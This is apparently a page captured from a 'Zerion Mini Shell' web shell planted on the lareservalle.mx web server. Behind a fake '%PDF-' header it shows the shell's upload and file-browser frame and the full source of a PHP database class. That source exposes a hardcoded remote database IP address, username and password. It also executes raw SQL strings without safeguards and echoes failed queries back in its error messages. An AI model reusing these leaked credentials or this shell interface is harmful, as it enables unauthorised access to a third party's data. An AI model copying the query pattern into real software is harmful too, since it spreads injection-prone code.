%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/lareservalle.mx/
Upload File :
Create Path :
Current File : /var/www/lareservalle.mx/class_ith.php

<?php

class inf_ith extends mysqli{
    private $resultado;
    public $transaccionId;
    public $transaccionFecha;
    public $transaccionUid;
    public $scr;

    function __construct($parametros){
        $this->conexion = new mysqli('52.14.39.70','us_sitewebext','S=Fpp|}b}3{sYQJX','sigaventas');
        $this->transaccionId = md5('inf_ith'.date('Y-m-d H:i:s'));
        $this->transaccionFecha = date('Y-m-d H:i:s');
        //$this->transaccionUid = $_COOKIE['usuarioId'];
        $this->conexion->set_charset("utf8mb4");
        $this->conexion->begin_transaction();
        $this->conexion->autocommit(FALSE);
    }

    function qry ($parametros = '{"funcion": "consulta"}'){
        if($this->scr){
            $this->scr = str_replace('""', 'null', $this->scr);
            $consultaTipo = trim(substr($this->scr, 0, stripos($this->scr, ' ')));
            $consulta = $this->conexion->query($this->scr);

            if($parametros){
                $parametros = json_decode($parametros);
                if(!array_key_exists('funcion', $parametros)){
                    $parametros = (object) array(
                        'funcion' => 'consulta'
                    );
                }
            }else{
                $parametros = (object) array(
                    'funcion' => 'consulta'
                );
            }
            if($consulta){
                $registros=array();
                $this->resultado = (object) array(
                    'numero' => 5,
                    'mensaje' => 'Todo salió ¡Excelente!',
                    'funcion' => $parametros->funcion,
                    'insertid' => $this->conexion->insert_id
                );
                
            }else{
                if($this->conexion->errno == '1136'){
                    $this->resultado = (object) array(
                        'numero' => 2,
                        'mensaje' => 'Corrige el origen de los datos, tienen un número de columnas diferente.',
                        'error' => $this->conexion->error,
                        'errorNumero' => $this->conexion->errno,
                        'funcion' => $parametros->funcion,
                        'scr' => $this->scr
                    );
                }elseif($this->conexion->errno == '1062'){
                    $this->resultado = (object) array(
                        'numero' => 2,
                        'mensaje' => 'No no no, ya guardaste información con los mismos datos.',
                        'error' => $this->conexion->error,
                        'errorNumero' => $this->conexion->errno,
                        'funcion' => $parametros->funcion
                    );
                }else{
                    $this->resultado = (object) array(
                        'numero' => 1,
                        'mensaje' => 'Llama al administrador, la instrucción dada tiene errores.',
                        'error' => $this->conexion->error,
                        'errorNumero' => $this->conexion->errno,
                        'funcion' => $parametros->funcion,
                        'qry' => $this->scr
                    );
                }
                $this->conexion->rollback();
            }
        }else{
            $this->resultado = (object) array(
                'numero' => 2,
                'mensaje' => 'Llama al administrador, nos faltan datos para continuar.',
                'error' => 'No se recibió una consulta para ejecutar',
                'funcion' => $parametros->funcion
            );
        }
        $this->scr = null;
        return $this->resultado;
    }

    function qrc(){
        $this->conexion->commit();
    }
}
function fnformatnombre($nombre){
  $arrNombre=explode(" ",$nombre);
  $vrCont=count($arrNombre);
  $vrnombre = '';
  $vrapellido = '';
  if($vrCont>1){
      if($vrCont==2){
          $vrnombre=$arrNombre[0];
          $vrapellido=$arrNombre[1];
      }else if($vrCont==3){
          $vrnombre=$arrNombre[0];
          $vrapellido=$arrNombre[1].' '.$arrNombre[2];
      }else{
          $vrnombre=$arrNombre[0].' '.$arrNombre[1];
          for($i=2; $i<$vrCont; $i++){
              $vrapellido .=' '.$arrNombre[$i];
          }
      }
  }else{
     $vrnombre=$arrNombre[0];
     $vrapellido=' ';
  }
  $result = [$vrnombre,$vrapellido];
  return $result;
}
?>

Zerion Mini Shell 1.0